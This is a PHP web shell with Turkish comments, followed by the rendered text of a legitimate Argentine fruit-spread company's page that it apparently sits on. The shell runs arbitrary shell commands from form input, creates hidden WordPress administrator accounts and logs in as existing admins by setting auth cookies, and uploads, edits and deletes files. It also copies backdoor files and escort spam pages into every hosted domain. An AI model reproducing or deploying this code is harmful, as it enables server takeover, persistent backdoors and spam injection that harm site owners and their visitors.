= '✅ Hyper Cache temizlendi'; } if ($wpdb) { $tables = $wpdb->get_results("SHOW TABLES", ARRAY_N); $optimized = 0; foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; } $results[] = "✅ $optimized tablo optimize edildi"; $revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'"); if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi"; $drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'"); if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi"; $spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'"); if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi"; } } } // ── Dosya bazlı cache dizinleri ── $cacheDirs = [ $dir . '/wp-content/cache/', $dir . '/cache/', $dir . '/wp-content/w3tc-cache/', $dir . '/wp-content/wp-rocket-cache/', $dir . '/wp-content/endurance-page-cache/', $dir . '/wp-content/et-cache/', ]; if (defined('ABSPATH') && function_exists('wp_upload_dir')) { $upload_dir = wp_upload_dir(); $cacheDirs[] = $upload_dir['basedir'] . '/cache/'; } foreach ($cacheDirs as $cacheDir) { if (is_dir($cacheDir)) { $deleted = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; } } if ($deleted > 0) { $results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)"; } } } // ── LiteSpeed purge header ── if (!headers_sent()) { header('X-LiteSpeed-Purge: *'); $results[] = '✅ LiteSpeed purge header gönderildi'; } $lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/']; foreach ($lsDirs as $lsDir) { if (is_dir($lsDir)) { $deleted = 0; foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; } if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi"; } } return $results; } // ── CACHE TEMİZLEME (tek domain) ──────────── if(isset($_POST['clear_cache'])){ $results = clearCacheForDirectory($currentDirectory); $statusMessage = implode(' | ', $results); $statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success'; } // ── TÜM DOMAIN CACHE TEMİZLE ──────────────── if(isset($_POST['clear_all_domains_cache'])){ $allResults = []; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $results = clearCacheForDirectory($publicHtml); $allResults[] = "🌐 " . basename(dirname($publicHtml)) . ": " . implode(', ', $results); $count++; } $statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', $allResults); $statusType = 'success'; } } } // ── DEPLOY ESCORT TEMPLATE AS license.html (Güncellendi) ── if(isset($_POST['deploy_escort'])){ $city = isset($_POST['escort_city']) ? $_POST['escort_city'] : 'bodrum'; try { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ // domains yoksa mevcut domaine yaz $url = getDomainUrl($currentDirectory) ?: 'http://' . $_SERVER['HTTP_HOST']; $html = generateEscortPage($url, $city); $filePath = $currentDirectory . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $statusMessage = "✅ license.html mevcut domain'e kopyalandı (Şehir: " . ucfirst($city) . ")"; $statusType = 'success'; } else { $statusMessage = "❌ license.html yazılamadı."; $statusType = 'error'; } } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ throw new Exception('Hiç public_html dizini bulunamadı.'); } $count = 0; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $url = 'https://' . $domainName; $html = generateEscortPage($url, $city); $filePath = $publicHtml . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $count++; } } $statusMessage = "✅ $count domain'e license.html başarıyla kopyalandı (Şehir: " . ucfirst($city) . ")."; $statusType = 'success'; } } catch (Exception $e) { $statusMessage = '❌ Hata: ' . $e->getMessage(); $statusType = 'error'; } } // ── DEPLOY .htaccess & index.php TO ALL DOMAINS ── if(isset($_POST['deploy_all_domains'])){ $sourceDir = $currentDirectory; $htaccessSrc = $sourceDir . '/.htaccess'; $indexSrc = $sourceDir . '/index.php'; if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){ $statusMessage = '❌ .htaccess veya index.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($htaccessSrc, $publicHtml . '/.htaccess')) $count++; if(copy($indexSrc, $publicHtml . '/index.php')) $count++; } $statusMessage = "✅ $count dosya kopyalandı (" . (count($publicDirs)) . " domain)"; $statusType = 'success'; } } } } // ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ── if(isset($_POST['deploy_clr_php'])){ $sourceDir = $currentDirectory; $clrSrc = $sourceDir . '/clr.php'; if(!file_exists($clrSrc)){ $statusMessage = '❌ clr.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($clrSrc, $publicHtml . '/clr.php')) $count++; } $statusMessage = "✅ $count domain'e clr.php kopyalandı (ana dizin)"; $statusType = 'success'; } } } } // ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ── if(isset($_POST['deploy_medusa_wpcontent'])){ $sourceDir = $currentDirectory; $medusaSrc = $sourceDir . '/medusa.php'; if(!file_exists($medusaSrc)){ $medusaSrc = $sourceDir . '/wp-content/medusa.php'; } if(!file_exists($medusaSrc)){ $statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $wpContent = $publicHtml . '/wp-content'; if(is_dir($wpContent)){ if(copy($medusaSrc, $wpContent . '/medusa.php')) $count++; } } $statusMessage = "✅ $count domain/wp-content/ dizinine medusa.php kopyalandı"; $statusType = 'success'; } } } } // ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ── if(isset($_POST['set_permissions_all_domains'])){ $permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; $results = []; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $htaccess = $publicHtml . '/.htaccess'; $index = $publicHtml . '/index.php'; $changed = 0; if(file_exists($htaccess)){ if(chmod($htaccess, octdec($permMode))){ $changed++; } } if(file_exists($index)){ if(chmod($index, octdec($permMode))){ $changed++; } } if($changed > 0){ $count++; $results[] = $domainName . ' (' . $changed . ' dosya)'; } } $statusMessage = "✅ $count domain'de izinler " . $permMode . " olarak ayarlandı: " . implode(', ', array_slice($results, 0, 5)) . (count($results) > 5 ? ' …' : ''); $statusType = 'success'; } } } // ============================================ // ── DOSYA İŞLEMLERİ ──────────────────────── // ============================================ if($_SERVER['REQUEST_METHOD']==='POST'){ // ── TERMINAL KOMUT ───────────────────────── if(isset($_POST['cmd_input'])){ $cmd = trim($_POST['cmd_input']); // ── ÖZEL KOMUTLAR ────────────────────────── $specialOutput = ''; if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) { $wUser = $matches[1]; $wPass = $matches[2]; $wEmail = $matches[3] ?? $wUser . '@example.com'; $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { if (!username_exists($wUser)) { $user_id = wp_create_user($wUser, $wPass, $wEmail); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); wp_set_auth_cookie($user_id); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Hata: " . $user_id->get_error_message(); } } else { $user = get_user_by('login', $wUser); if ($user) { wp_set_password($wPass, $user->ID); wp_set_auth_cookie($user->ID); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Kullanıcı bulunamadı: $wUser"; } } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp admin' || $cmd === 'wp-open') { $wpAdminUrl = findWpAdminUrl($currentDirectory); $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { $adminUsers = get_users(['role' => 'administrator', 'number' => 1]); if (!empty($adminUsers)) { $adminUser = $adminUsers[0]; wp_set_auth_cookie($adminUser->ID); wp_set_current_user($adminUser->ID); $specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl; echo ''; } else { $specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl; } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp info') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_bloginfo')) { $specialOutput = "📋 WordPress Bilgileri:\n"; $specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n"; $specialOutput .= "Site URL: " . get_bloginfo('url') . "\n"; $specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n"; $specialOutput .= "Admin URL: " . admin_url() . "\n"; $specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users']; } else { $specialOutput = "❌ WordPress bilgileri alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp plugins') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_plugins')) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $specialOutput = "📦 Aktif Pluginler:\n"; $found = false; foreach ($plugins as $plugin_path => $plugin) { if (is_plugin_active($plugin_path)) { $specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n"; $found = true; } } if (!$found) { $specialOutput = "⚠️ Aktif plugin bulunamadı"; } } else { $specialOutput = "❌ Plugin listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp cache clear') { $wpCache = $currentDirectory . '/wp-content/cache'; if(is_dir($wpCache)){ $count = 0; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ if($f->isFile() || $f->isLink()){ @unlink($f->getRealPath()); $count++; } elseif($f->isDir()){ @rmdir($f->getRealPath()); } } $specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)"; } else { $specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı"; } } elseif($cmd === 'wp themes') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('wp_get_themes')) { $themes = wp_get_themes(); $active_theme = wp_get_theme(); $specialOutput = "🎨 Temalar:\n"; $specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n"; $specialOutput .= "Yüklü Temalar:\n"; foreach ($themes as $slug => $theme) { $status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : " "; $specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n"; } } else { $specialOutput = "❌ Tema listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'help' || $cmd === 'wp help') { $specialOutput = "📚 Özel Komutlar:\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "wp user create [email]\n"; $specialOutput .= " → WordPress admin kullanıcı oluştur\n\n"; $specialOutput .= "wp admin veya wp-open\n"; $specialOutput .= " → WordPress Admin panelini aç (otomatik giriş)\n\n"; $specialOutput .= "wp info\n"; $specialOutput .= " → WordPress site bilgilerini göster\n\n"; $specialOutput .= "wp plugins\n"; $specialOutput .= " → Aktif pluginleri listele\n\n"; $specialOutput .= "wp themes\n"; $specialOutput .= " → Temaları listele\n\n"; $specialOutput .= "wp cache clear\n"; $specialOutput .= " → WordPress cache temizle\n\n"; $specialOutput .= "help veya wp help\n"; $specialOutput .= " → Bu yardım mesajını göster\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "💡 Normal Linux komutları da çalışır!"; } // ── Normal Komut ────────────────────────── if(empty($specialOutput)) { if(!empty($cmd)){ array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $proc=proc_open($cmd,$ds,$pipes); if(is_resource($proc)){ $out=stream_get_contents($pipes[1]); $err=stream_get_contents($pipes[2]); fclose($pipes[1]);fclose($pipes[2]);proc_close($proc); $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars(!empty($err)?$err:$out), 'filename'=>'' ]; }else{ $statusMessage='Failed to execute command'; $statusType='error'; } } else { $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars($specialOutput), 'filename'=>'' ]; array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } } // ── MULTIPLE FILE UPLOAD ──────────────── elseif(isset($_FILES['fileToUpload'])){ $uploaded = 0; $failed = 0; $uploadErrors = []; $files = $_FILES['fileToUpload']; $fileCount = count($files['name']); for($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $tmpName = $files['tmp_name'][$i]; $targetPath = $currentDirectory.'/'.$fileName; if(file_exists($targetPath)) { @unlink($targetPath); } if(move_uploaded_file($tmpName, $targetPath)) { $uploaded++; } else { $failed++; $uploadErrors[] = $fileName; } } if($uploaded > 0 && $failed === 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully'; $statusType = 'success'; } elseif($uploaded > 0 && $failed > 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed'; $statusType = 'error'; } else { $statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors); $statusType = 'error'; } }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){ $nf=$currentDirectory.'/'.$_POST['folder_name']; if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';} else{$statusMessage='Folder already exists';$statusType='error';} }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){ $nf = $currentDirectory.'/'.$_POST['file_name']; $ex = file_exists($nf); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if(!$ex && empty($content)) { $statusMessage = 'Warning: Creating empty file - no content provided'; $statusType = 'error'; } else { if(file_put_contents($nf, $content) !== false) { $statusMessage = $ex ? 'File saved' : 'File created'; $statusType = 'success'; } else { $statusMessage = 'Failed to save file (permission error)'; $statusType = 'error'; } } }elseif(isset($_POST['delete_file'])){ $t=$currentDirectory.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){ $del=0;$fail=0; foreach($_POST['selected_items'] as $item){ $t=$currentDirectory.'/'.basename($item); if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;} } $statusMessage="Deleted $del item(s)".($fail?", $fail failed":''); $statusType=$fail?'error':'success'; }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){ $on=$currentDirectory.'/'.$_POST['old_name']; $nn=$currentDirectory.'/'.$_POST['new_name']; if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){ $t=$currentDirectory.'/'.basename($_POST['chmod_file']); $mode=octdec($_POST['chmod_value']); if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';} else{$statusMessage='chmod failed';$statusType='error';} }elseif(isset($_POST['zip_file'])){ $t=$currentDirectory.'/'.basename($_POST['zip_file']); $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip'; if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zn,ZipArchive::CREATE)===TRUE){ if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());} else{$zip->addFile($t,basename($t));} $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success'; }else{$statusMessage='Failed to create zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['extract_file'])){ $zp=$currentDirectory.'/'.basename($_POST['extract_file']); if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zp)===TRUE){ $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME); $zip->extractTo($to);$zip->close(); $statusMessage='Extracted to /'.basename($to);$statusType='success'; }else{$statusMessage='Failed to open zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['view_file'])){ $fv=$currentDirectory.'/'.$_POST['view_file']; if(file_exists($fv)){ $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']]; }else{$statusMessage='File not found';$statusType='error';} }elseif(isset($_POST['editor_load'])){ $fv=$currentDirectory.'/'.$_POST['editor_load']; if(file_exists($fv)){ $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)]; } } } function deleteDirectory($dir){ if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir); foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;} return rmdir($dir); } function formatFileSize($b){ if($b>=1073741824)return number_format($b/1073741824,2).' GB'; elseif($b>=1048576)return number_format($b/1048576,2).' MB'; elseif($b>=1024)return number_format($b/1024,2).' KB'; elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes'; } function extColor($e){ $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400']; return $m[$e]??'text-slate-400'; } function extLang($e){ $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown']; return $m[$e]??'plaintext'; } ?> File Manager window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';'; } ?>
    | | | 🌐 | WP ✓
    '; $fileIcon=''; $btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all'; ?>
    Name 👁 ✏️ 📦 🔑 🗑 Rename
    '; ?>
    —'; endif; ?>
    —'; endif; ?>
    '; echo ''.$cnt.' item'.($cnt!==1?'s':'').''; echo ''.htmlspecialchars($currentDirectory).''; echo '
    '; ?>
    back to top

    Somos productores con más de 15 años de Experiencia en fabricación, comercialización Y distribución de productos 100% naturales.

    Recetas con Jumbalay

    Delicias en casa

    Nuestro cocinero estrella eleva tus comidas a “Momentos Extraordinarios”. Con su pasión y creatividad, transforma cada receta en una experiencia culinaria única. No te pierdas sus creaciones y sorprende a tus seres queridos con platos inolvidables. ¡Descubre el arte de cocinar con pasión y combinalo con nuestros sabores exclusivos Jumbalay!

    100% Fruta

    Sin Azúcar

    Los untables de fruta son una propuesta gourmet pensada para quienes buscan sabor auténtico y cuidado en su alimentación.

    Elaborados únicamente con fruta seleccionada, sin azúcar agregada ni aditivos, resultan naturalmente dulces y nutritivos. Gracias a su pureza, son aptos para diabéticos, bebés y deportistas, ofreciendo una opción saludable y sofisticada para acompañar desayunos, meriendas, postres o incluso creaciones de autor.

    Jumbalay en tu casa

    Pedí nuestros productos a domicilio

    ¡Transformá tu momento de disfrute con nuestros productos exclusivos! Hacé clic en el botón de abajo, elegí lo que más te guste y nosotros nos encargamos de que llegue a tu mesa, listo para ser disfrutado. No importa si es para una merienda especial o para realzar cualquier comida, garantizamos calidad y sabor en cada entrega.

    Jumbalay cerca tuyo

    Descubrí nuestros
    Puntos de Venta

    Nos enorgullece colaborar con una red de distribuidores en todo el país para asegurarnos de que nuestros productos lleguen a tu mesa, permitiéndote disfrutarlos en compañía de tus seres queridos.

    En este mapa, podrás ubicar fácilmente nuestras tiendas y distribuidores más cercanos a tu localización.

    En el botón de abajo podrás acceder al mapa en pantalla grande y buscar los comercios cercanos en tu barrio.

    Contactanos

    Nombre y Apellido

    Horarios

    Lunes a Viernes de 08:00hs a 17:00hs

    Ubicación

    Av. Leopoldo Lugones 1872,
    Don Torcuato - Buenos Aires.​

    Jumbalay 2024 – Todos los derechos reservados. © Defensa al consumidor ingresá acá.